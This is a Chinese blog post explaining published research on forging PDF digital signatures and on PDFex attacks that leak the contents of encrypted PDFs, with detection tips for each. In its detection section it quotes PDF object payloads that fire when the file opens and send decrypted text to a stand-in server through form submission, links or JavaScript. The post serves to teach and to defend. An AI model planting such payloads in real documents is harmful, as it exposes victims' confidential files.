草庐IT

WC!咱平时使用的PDF,原来这么不安全?

网安小工二狗 2023-04-09 原文

早前,在2019年3月初,来自明斯特大学及波鸿鲁尔大学的德国研究人员称,他们已经设法利用新发现的漏洞,并成功地攻破了PDF文件中的数字签名。

随后,2019年10月再次披露: 加密PDF存在PDFex漏洞。

最后,于2019年12月27号,在36届C3混沌黑客大会上进行了攻破PDF签名攻破PDF加密两个议题的分享。

那么,这次闹得沸沸扬扬的PDF安全事件,到底是怎么一回事儿呢?下面容我细细道来。

一、PDF的现状

随着网络的发展,PDF的使用也越发的频繁。据2015年统计,互联网上存在约16亿份PDF文件,同时据Adobe官方称,仅在2017年,他们就大约处理了80亿个数字签名的PDF文件。

那么大家是否在生活中也经常见到,一些企业公司开出的PDF电子发票呢?

包括亚马逊等电商企业,实际上也是使用的PDF电子发票。而这些发票的背后,都是有着数字签名的保护。很显然,带有数字签名的PDF文件在许多国家和地区都是具有法律效力的!

而另一方面,一些银行等企业,慢慢开始使用加密PDF来作为加密电子邮件的替代品。一些政府机构同样允许使用加密、带签名的PDF来进行身份认证,包括美国等国家。

可见,签名、加密PDF在我们身边具有广泛的应用!

二、签名PDF的攻破

1、PDF文件结构

首先,简单地介绍一下PDF格式,如下图:

每个PDF文件都由四个主要部分构成的,分别是文件头、文件体、Xref交叉引用表以及文件尾追踪器:

1.文件头:标注了PDF的版本
2.文件体:显示用户看到的PDF正文内容
3.交叉引用表:列出主体内的对象及显示内容位置的目录
4.文件尾:PDF阅读器阅读文档的第一步,它包含了两个重要参数,告诉PDF阅读器应该从哪里开始处理文件,以及交叉引用表的地址。

PDF规范还有一个增量更新功能,允许用户标记部分文本并留下评论。本质上,数字签名也是一种增量更新,即向文件中添加另一个元素和相应的部分。

下面我们来看看,如何通过相关手段,修改一个数字签名的PDF文件,且修改后仍然“签名有效”!

2、增量保存攻击ISA

这是一种很基础、简单的攻击,由于PDF支持增量更新,因此攻击者可向文件增量添加内容以达到目的。如下图:

实验者先后通过:

1.直接向文本编辑器中的PDF中增量添加内容 准确来说,该操作并非攻击利用,而只是一个常规的增量更新,一些阅读器打开文件时会提示说签名有效,但文件内容被修改,而一些阅读器甚至连这种提示都不会有。因此一些没有经验的用户,很有可能就会被成功欺骗。
2.增量添加内容后,并删除PDF文件的最后两部分
3.增量添加内容后,并删除PDF文件的交叉引用表
4.增量添加内容后,删除PDF文件的最后两部分,再把原数字签名复制到末尾

以上四种方式,前后成功骗过了包括Foxit、MasterPDF等50%的PDF阅读器。

3、签名包装攻击SWA

对文件签名,说白了就是将两个重要的签名字段增量更新到文件体中,即包含签名内容/Contents字段和描述签名相关参数/ByteRange字段。

/ByteRange字段有四个参数,分别是:

1.文件的起点
2.数字签名前的字节数
3.数字签名结束的字节位置
4.数字签名后的字节数

具体可参见下图左:

我们知道,电子签名是给指定内容进行签名,因此用于存储签名本身的存储区域无法被进行签名计算。

因此实验者试图去调大/ByteRange字段的第三个参数值,这样,文件就出现了一个额外的区域(上图右的红色区域),能够放置任何内容。

当然理论上说,如果PDF阅读器“工作正常”,那么用户是无法看到这个额外区域的内容的。然而实验发现77%的阅读器却都能看的这个区域的内容。

4、通用签名伪造USF

如上图,实验发现:

1.签名字段/Contents及签名参数字段/ByteRange就算被删除,依然有部分阅读器验证通过了签名。
2./Contents/ByteRange字段,就算值改为空、null、0x00、其他值,同样依旧有PDF阅读器认可其文件签名。

综上,签名是完全可以进行伪造、修改的。

5、影响范围

以下是上面三种攻击,相关PDF阅读器的受影响情况。显然,只有Adobe Reader 9没有受到相关影响,然而搞笑的是,Adobe Reader 9只有Linux用户因为缺少更新的可用版本才会不得已地使用到它!

6、针对签名PDF攻击的检测

  • ISA攻击的检测 观察图中ISA攻击的三种方式可以看出,和正常PDF文件结构相比,均不是以Xref Table+Trailer结尾。即%%EOF结尾符的上面没有trailerxref字符串,而直接就是obj+endobj形式的文件体。* SWA攻击的检测 同样我们观察图中SWA的攻击,可以看出,和正常PDF文件相比,会出现至少两个/ByteRange!这是很显然的一个异常点。* USF攻击的检测 我们知道,一个签名后的PDF文件,必然会存在一个TransformMethod/DocMDP,它用于检测文档相对于最原始签名字段的修改。 因此如果存在上述字符串,但/Contents/ByteRange字段却存在个别或两个都不存在的情况,则有可能是USF攻击。此外,如果/Contents/ByteRange字段值为空、null、0x00,也有可能是USF攻击。三、加密PDF的攻破
    ==========

针对目前慢慢走向大众化的加密PDF,其机密性是否就真的牢不可破呢?

答案是否定的!事实上,确实存在着:无需密码就能读取加密PDF文件内容的方法,这就是PDFex,一个利用PDF标准规范的安全漏洞来达到攻破加密的目的。

当然这里需要重点强调的是:该攻击,并不是说攻击者可以利用该攻击来获得或绕过密码,而是在受害者打开该文档时,使内容泄漏给远程攻击者

那么,这个PDFex攻击到底是怎样一个东西呢?

首先,请允许我感叹一下:历史总是惊人地相似!

2018年,爆出《PGP与S/MIME两种邮件加密协议存在的重大安全漏洞,致使加密邮件形同裸奔》,而该漏洞的攻击方式存在两种:

  • 直接泄出:首先攻击者截取到邮件后,重新包装一封新邮件,而将老邮件作为新邮件的内容。受害者接收并解密后成功后,再利用IMG标签src属性,将解密后的明文发送到攻击者的服务器上。
  • CBC/CFB小工具攻击:利用CBC加密模式的可扩展特性(即解密时不会检查密文完整性),同时邮件客户端也没有进行邮件的完整性验证,因此攻击者可以修改捕获的密文,替换邮件中的已知明文为payload,最后将邮件泄出。

而本次要说的这个PDFex,同样存在两种类似的攻击方式:

  • 不触碰密码学范畴,但只适用于部分加密的直接渗透攻击
  • 利用CBC加密模式的可扩展特性的CBC小工具攻击

1、直接渗透攻击

由于标准文件规范是支持部分加密的,即允许仅PDF文件体的正文等进行部分加密,而PDF文件尾、交叉引用表等其他PDF结构对象,则保留未加密状态。因此,对明文密文混杂的支持,就给了攻击者有机可乘的机会。

具体我们看下图:

上图是一个PDF文件结构图(把一个PDF文件拖到notepad++里面的大概样子),其中只有PDF正文(4 0 obj)和其中嵌入文件(5 0 obj)被进行了加密,而其他定义PDF文档结构的对象则保持未加密状态。

因此,攻击者添加了图上两处红色payload:

  • 第一段红色payload 使用了PDF规范中的OpenAciton函数,该函数用于触发PDF打开动作,即当PDF被打开时会立马触发,随即调用7 0 obj,也就是我们的第二段payload;* 第二段红色payload 没有给出具体的payload代码,{URI/SubmitForm/JS}的含义可理解为:可通过超链接(URI)、表单提交(SubmitForm)和JavaScript三种方式,将4 0 obj5 0 obj发送给攻击者服务器,即存在着多种渗透通道。PDF规范支持URI/SubmitForm/JS这三种交互方式,不过具体的PDF阅读器(规范实现者)可能有些不支持表单提交,而有些限制JavaScript的支持,甚至默认情况下禁用了JavaScript。

2、CBC小工具攻击

由于PDF加密是采用的AES算法,以及密码块链接(CBC)加密模式,而不会对密文进行完整性检查,因此可被攻击者修改利用。

攻击者会使用CBC小工具将PDF文档中存在的部分明文更改为一段payload,当合法用户打开文件时,嵌入的payload将会得到执行,从而将文档发送到攻击者指定的站点。

3、影响范围

实验者对常用的27种PDF阅读器做了相关测试,无论是哪个平台的PDF阅读器,两种攻击方式中总有一种能攻破,甚至绝大部分阅读器两种攻击方法都适用。

4、针对加密PDF攻击的检测

直接渗透攻击的检测

从上面的攻击利用得知,攻击者必须会在文件打开前,使用一个OpenAction函数,进行第一步的打开触发操作。

因此第一个特点就在于:PDF的第一个结构对象(即从1 0 obj到endobj区间内),必然存在一个OpenAction函数

接着会通过三种渗透通道中的其中一种进行数据外传:

  • 使用Form表单外传的payload:1 0 obj<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [5 0 R] >> % Removed "6 0 R" here to get a normal/unsuspicious cursor /OpenAction 7 0 R>>endobj7 0 obj<< /Type /Action /S /SubmitForm /F << /Type /FileSpec /F /http#3A#2F#2Fp.df#2Fexfiltration#2F /V true /FS /URL >> /Flags 4 % SubmitFDF=0, SubmitHTML=4, SubmitXML=32, SubmitPDF=256>>endobj 显然存在SubmitForm提交关键词、/http#3A#2F#2Fp.df#2Fexfiltration#2FURL地址等敏感字符串!* 使用超链接外传的payload:1 0 obj<< /Type /Catalog /Pages 2 0 R /URI << /Base /http#3A#2F#2Fp.df#2Fexfiltration#2F >> /ViewerPreferences << /DisplayDocTitle true >> /OpenAction 7 0 R>>endobj 会在第一个结构对象中定义形如/http#3A#2F#2Fp.df#2Fexfiltration#2F的URL,随后会在7 0 obj中去拿该URL进行跳转。* 使用JavaScript外传的payload:7 0 obj<< /Type /Action /S /JavaScript /JS /app.launchURL#28#22http#3A#2F#2Fp.df#2Fexfiltration#2F#22#2Bthis.getAnnots#28#29#5B0#5D.contents#29>>endobj 研究过多个不同阅读器的相应payload,有些是先使用OpenAcion函数触发,随后触发相关JS。有些是直接通过stream流把JS代码包装到第一个结构对象中。 但是万变不离其宗地均会使用以下代码:* 使用app.launchURL("URI")SOAP.request({cURL:"URI",oRequest:{},cAction:""})代码来加载URL* 使用this.getAnnots()[0].contentsutil.stringFromStream(this.getDataObjectContents("x.txt",true),"utf-8")代码来获取正文内容最后再进行URL组装,外传到攻击者服务器。### CBC小工具攻击的检测

发现攻击者在使用CBC小工具进行payload写入时,由于对最后一个字节值的不确定,会使用256个可能的值(0x00到0xFF)来进行一一试探。payload如下:

1 0 obj<< /Type /Catalog/AcroForm << /Fields [<< /T (x) /V 2 0 R >>] >> /OpenAction [3 0 R 4 0 R ... 259 0 R] >>
endobj

2 0 obj
[encrypted data]
endobj

3 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x00> >> // guessing last byte
endobj

4 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x01> >> // guessing last byte
endobj
...
258 0 obj<< /S /SubmitForm /F <CBC gadget as form URL ⊕ 0xFF> >> // guessing last byte 

因此会存在至少256个SubmitForm或超链接等提交,同时第一个结构对象中,OpenAction函数会对应去调用这256个obj引用!

最后,这个事件也给我们大家敲响了警钟:

  • 有时标准规范的出发点是好的,但同样也许会给个别有心者创造机会;
  • 没有完整性检验的加密算法,需要考虑场景再进行慎重选择;
  • 攻击不一定就只是针对协议、规范、服务、技术等高大上的玩意儿,利用一些客户端的偏门漏洞一样没毛病,甚至障眼法又如何,只要最终达到了目的;
  • 针对窃密类的攻击,总是需要渗透通道这一先决条件,如何扼杀或控制这一通道,是我们需要考虑研究的一个议题。

有关WC!咱平时使用的PDF,原来这么不安全?的更多相关文章

  1. ruby - 如何使用 Nokogiri 的 xpath 和 at_xpath 方法 - 2

    我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div

  2. ruby - 使用 RubyZip 生成 ZIP 文件时设置压缩级别 - 2

    我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看ruby​​zip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d

  3. ruby - 为什么我可以在 Ruby 中使用 Object#send 访问私有(private)/ protected 方法? - 2

    类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc

  4. ruby-on-rails - 使用 Ruby on Rails 进行自动化测试 - 最佳实践 - 2

    很好奇,就使用ruby​​onrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提

  5. ruby - 在 Ruby 中使用匿名模块 - 2

    假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于

  6. ruby - 使用 ruby​​ 和 savon 的 SOAP 服务 - 2

    我正在尝试使用ruby​​和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我

  7. python - 如何使用 Ruby 或 Python 创建一系列高音调和低音调的蜂鸣声? - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。

  8. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

    我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

  9. ruby - 使用 ruby​​ 将 HTML 转换为纯文本并维护结构/格式 - 2

    我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h

  10. ruby - 在 64 位 Snow Leopard 上使用 rvm、postgres 9.0、ruby 1.9.2-p136 安装 pg gem 时出现问题 - 2

    我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po

随机推荐